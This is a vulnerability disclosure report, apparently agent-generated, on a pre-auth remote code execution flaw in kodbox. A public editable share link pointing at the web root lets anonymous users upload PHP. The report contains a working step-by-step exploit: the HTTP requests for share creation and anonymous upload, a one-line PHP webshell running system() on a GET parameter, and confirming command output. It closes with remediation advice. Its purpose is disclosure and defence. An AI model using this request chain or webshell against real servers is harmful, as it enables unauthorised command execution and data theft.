Pre-Auth RCE via Public Editable Share Link Allowing PHP Upload to Web Root

Vulnerability ID: VPLUS-2026-17395
Product: kodbox (https://github.com/kalcaddle/kodbox)
Severity: High
Vulnerability Type: V25 – File Upload Vulnerability
Authentication: Pre-Auth (unauthenticated attacker via public share link)
Confidence: 98%
Status: Confirmed
CVSS: 8.4
CVE:
Discovery Time: 2026-03-08 19:57:28

Affected Component / Endpoints

  • File: app/controller/explorer/userShare.class.php

  • Function: add (around line 554)

  • Relevant endpoints:

    • Admin creates share:

      • POST /?explorer/userShare/add&accessToken=<token>

    • Anonymous upload via share:

      • POST /?explorer/share/fileUpload

    • Web root execution:

      • GET /share_shell.php?cmd=id (example uploaded PHP file)

Technical Description / Root Cause

kodbox supports “share links” (外链) that can expose a path to unauthenticated users, optionally with upload and edit permissions.

Key behaviors:

  1. Admin can share real filesystem root of the web app:

    • In explorer/userShare/add, the path parameter can be set to:

      <TEXT>
       
      path=./
    • ./ is resolved to the real directory:

      <TEXT>
       
      /var/www/html

      (the Apache web root in the tested environment).

    • The function allows isLink=1 (public external link) for this real disk path and does not reject it even when it is the IO root / real filesystem path.

  2. Dangerous combination of “real path + public + upload/edit”:

    • The options parameter allows enabling upload and inline edit on the share:

      <JSON>
       
      {
        "canUpload": "1",
        "canEditSave": "1",
        "notView": "0",
        "notDownload": "0"
      }
    <TEXT>
     
    - `explorer/userShare/add` performs no restriction to prevent:
      - Public (`isLink=1`) shares on real disk paths, and
      - Enabling `canUpload` / `canEditSave` on such shares.
  3. Unauthenticated uploads through share path:

    • Once a share is created, the response includes:

      • shareHash (e.g., "ECAFJtgP")

      • sourcePath: "." and resolved sourceInfo.path: "/var/www/html"

    • Anyone who knows this shareHash (e.g., via a public URL) can use the share upload endpoint:

      <HTTP>
       
      POST /?explorer/share/fileUpload
          shareID=<shareHash>
          path={shareItemLink:<shareHash>}/
          file=@share_shell.php
    • The backend resolves {shareItemLink:<hash>}/ against the real underlying path (/var/www/html) and writes the uploaded file directly into the web root:

      <JSON>
       
      "info": "{shareItemLink:ECAFJtgP}/var/www/html/share_shell.php"
  4. No server-side restriction on dangerous file types for web-exposed directories:

    • There is no robust server-side restriction preventing .php, .phtml, .phar, etc., from being uploaded to such real paths via explorer/share/fileUpload.

    • As a result, an unauthenticated user can place arbitrary PHP code into /var/www/html.

  5. Immediate remote code execution through Apache/PHP:

    • Because /var/www/html is the Apache document root:

      <HTTP>
       
      GET /share_shell.php?cmd=id
    • Apache hands the file to PHP, which executes the embedded code, leading to arbitrary command execution under the web server account (e.g., www-data).

This vulnerability is distinct from earlier issues where admins directly used explorer/upload/fileUpload to upload PHP into real paths in a post-auth context. Here, the key flaw is that write access to the real web root is extended to unauthenticated users via a public editable share link.

Attack Scenario / Exploit Steps

Assumptions:

  • The attacker can convince or wait for an administrator to create a risky share (or the admin does so inadvertently).

  • The attacker obtains the shareHash (link) for that share (e.g., via a shared URL, email, or other disclosure).

Steps (as validated in the PoC):

  1. Admin logs in and obtains accessToken:

    <HTTP>
     
    GET /?user/view/options            # to obtain CSRF_TOKEN (via cookie)
    POST /?user/index/loginSubmit
        &name=admin
        &password=Admin@2024!
        &CSRF_TOKEN=<csrf>

    Response includes:

    <JSON>
     
    "info": "<ACCESS_TOKEN>"
  2. Admin creates a public editable share pointing to ./ (web root):

    <HTTP>
     
    POST /?explorer/userShare/add&accessToken=<ACCESS_TOKEN>
        path=./
        isLink=1
        isShareTo=0
        title=v25_share_root
        timeTo=0
        options={"canUpload":"1","canEditSave":"1","notView":"0","notDownload":"0"}
        CSRF_TOKEN=<csrf>

    Response:

    <JSON>
     
    "code": true,
    "data": {
      "shareID": 11,
      "shareHash": "ECAFJtgP",
      "sourcePath": ".",
      "sourceInfo": {
        "path": "/var/www/html",
        "type": "folder",
        "isWriteable": true
      }
    }
  3. Unauthenticated attacker uploads a PHP webshell via the share:

    <HTTP>
     
    POST /?explorer/share/fileUpload
        (no cookies or token required)
        shareID=ECAFJtgP
        path={shareItemLink:ECAFJtgP}/
        file=@share_shell_1772971142.php

    Response:

    <JSON>
     
    {
      "code": true,
      "data": "上传成功",
      "info": "{shareItemLink:ECAFJtgP}/var/www/html/share_shell_1772971142.php"
    }
  4. Remote code execution via direct HTTP request:

    The uploaded PHP payload (simplified):

    <PHP>
     
    <?php echo 'V25-SHARE:'; system($_GET['cmd'] ?? 'id'); @unlink(__FILE__); ?>

    Trigger:

    <HTTP>
     
    GET /share_shell_1772971142.php?cmd=id

    Response:

    <TEXT>
     
    V25-SHARE:uid=33(www-data) gid=33(www-data) groups=33(www-data)

    confirming command execution as the web server user.

  5. Admin can later delete the share (optional cleanup), but the RCE has already occurred.

Impact

  • Pre-auth Remote Code Execution (RCE):

    • Any unauthenticated user who has the shareHash can upload a PHP file into the web root and execute arbitrary commands via HTTP.

  • Privilege & scope:

    • Code runs as the web server user (e.g., www-data), allowing:

      • Arbitrary file creation/modification within the web root and other writable directories.

      • Deployment of persistent webshells and backdoors.

      • Access to application configuration files, credentials, and other sensitive data.

  • Security boundary break:

    • The intention of 2-step access (admin share creation vs. anonymous user) is undermined because:

      • The system does not treat real filesystem paths as sensitive when exposed via shares.

      • Uploads to those paths are insufficiently restricted (file type and location).

  • Distinct from existing post-auth upload issues:

    • Prior vulnerability (e.g., VPLUS-2026-16820) required admin to directly upload PHP via authenticated endpoints.

    • Here, the dangerous capability is delegated to any anonymous holder of the share link, expanding the attack surface from post-auth to pre-auth.

Duplicate Check

A search via:

GET /vulns?exclude_vuln_id=VPLUS-2026-17395

found no identical previously reported vulnerability. Although VPLUS-2026-16820 also relates to uploading PHP to real paths, that case is a post-auth, direct admin upload via explorer/upload/fileUpload.

For VPLUS-2026-17395, the exploit chain is:

  1. Admin creates a public, editable share pointing to ./ (resolved to /var/www/html).

  2. An unauthenticated user uses explorer/share/fileUpload with shareID=<shareHash> and path={shareItemLink:<hash>}/ to upload PHP into the web root.

  3. The uploaded PHP executes under Apache/PHP when accessed over HTTP.

The agent reproduced this scenario, observing:

  • Upload success with path /var/www/html/share_shell_<stamp>.php.

  • Direct HTTP access to that file returns:

    <TEXT>
     
    V25-SHARE:uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • This confirms that unauthenticated users can write executable PHP into the web root through a public share link.

Given the different attack vector and trust boundary (pre-auth via public share), this is not considered a duplicate.

Remediation Recommendations

  1. Disallow public external links on real disk / IO root paths:

    • In explorer/userShare/add, when:

      <PHP>
       
      pathParse["type"] == KOD_IO || !pathParse["type"]

      and the path resolves to a real filesystem location (e.g., ./, /var/www/html), reject any request with isLink=1.

    • Only allow public links on controlled virtual storage spaces, not on raw system or web server directories.

  2. For real paths, prohibit upload/edit even for admin-created shares:

    • If real filesystem paths must be shareable for internal admin use, enforce:

      • canUpload = 0

      • canEditSave = 0

    • Admin shares on real paths should be read-only and non-public by design.

  3. Harden explorer/share/fileUpload:

    • Before writing any uploaded file:

      • Validate that the resolved target directory is within a restricted, managed virtual storage area, not the web root or arbitrary IO.

      • Enforce a denylist for dangerous file types (at minimum):

        • .php, .phtml, .phar, .php3, .php4, .php5, etc.

        • .user.ini, .htaccess, and other web server control files.

      • Make this validation independent of client-supplied path or shareItemLink semantics; rely on server-side resolution and policy.

  4. Risk warnings and auditing for high-risk shares:

    • When a share is created:

      • If the source is a real path or close to web root, and upload/edit are enabled, display a clear warning to the admin.

    • Log and audit:

      • Creation and deletion of shares on real paths.

      • Any upload attempts through such shares, including IP, filename, and user (or anonymous).

  5. Defense in depth:

    • Avoid serving application data from the same directory where PHP code resides; consider:

      • Moving user-upload directories outside the PHP-executable web root.

      • Serving uploads via a separate domain or static file server without PHP parsing.

    • Configure the web server to never execute PHP from generic upload directories, even if a .php file appears there (e.g., via php_admin_value engine off or equivalent directory-level configuration).